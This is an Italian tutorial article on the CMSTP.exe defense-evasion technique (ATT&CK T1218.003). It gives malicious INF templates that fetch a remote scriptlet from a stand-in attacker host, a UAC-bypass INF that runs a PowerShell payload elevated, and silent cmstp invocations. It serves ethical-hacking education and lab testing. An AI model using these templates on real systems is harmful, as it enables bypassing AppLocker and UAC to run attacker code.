CMSTP Bypass: Signed Binary Proxy Execution Using CMSTP (T1218.003)

Il Microsoft Connection Manager Profile Installer (CMSTP.exe) rappresenta un esempio perfetto di come i binari legittimi possano trasformarsi in armi nelle mani degli attaccanti. Questo strumento, nato per installare profili di connessione remota, accetta file INF come parametro e può essere manipolato per eseguire codice maligno attraverso scriptlet COM remoti.

La tecnica si posiziona nella tattica TA0005 (Defense Evasion), sfruttando la fiducia implicita nei processi firmati Microsoft per aggirare controlli di sicurezza come AppLocker. Il binario può caricare DLL e scriptlet SCT da server remoti, bypassare UAC attraverso interfacce COM auto-elevate e mascherare l'esecuzione di payload malevoli.

Due gruppi APT hanno già dimostrato l'efficacia operativa di questa tecnica: MuddyWater l'ha utilizzata per distribuire POWERSTATS, mentre Cobalt Group l'ha impiegata per aggirare AppLocker e lanciare script malevoli. Due famiglie di malware documentate, CHIMNEYSWEEP e LockBit 3.0, integrano CMSTP nelle loro catene di attacco per installare profili dannosi o tentare bypass UAC quando privi di privilegi amministrativi.

La simulazione di attacchi CMSTP richiede la preparazione di un file INF malevolo. Il processo inizia creando un file che punta a uno scriptlet remoto:

[version]
Signature=$chicago$
AdvancedINF=2.5

[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection

[UnRegisterOCXSection]
%11%\scrobj.dll,NI,http://attacker.com/payload.sct

L'esecuzione avviene con il comando: cmstp.exe /s /ns malicious.inf. I parametri /s e /ns abilitano modalità silenziosa e senza interfaccia utente, perfette per operazioni stealth.

Cobalt Group ha dimostrato una variante sofisticata utilizzando file temporanei: cmstp.exe /s /ns C:\Users\ADMINI~W\AppData\Local\Temp\XKNqbpzl.txt. Questa tecnica maschera ulteriormente l'attività usando percorsi abbreviati 8.3 e directory temporanee.

Per il bypass UAC, gli attaccanti sfruttano interfacce COM auto-elevate come CMSTPLUA. Il processo richiede la creazione di un INF che registri comandi nel registro:

[version]
Signature=$chicago$
AdvancedINF=2.5

[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection

[RunPreSetupCommandsSection]
; Commands here run with elevated privileges
powershell.exe -ExecutionPolicy Bypass -File C:\temp\payload.ps1

L'invocazione attraverso COM permette l'esecuzione con privilegi elevati senza prompt UAC. LockBit 3.0 implementa questa logica verificando prima i privilegi correnti e tentando il bypass solo quando necessario.

Per testare in laboratorio, create un ambiente isolato con AppLocker configurato e monitorate l'esecuzione con Process Monitor. Osservate come CMSTP carica scrobj.dll e contatta server remoti, bypassando completamente le policy di esecuzione.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Scarica la guida gratuita e segui il percorso corretto fin dal primo passo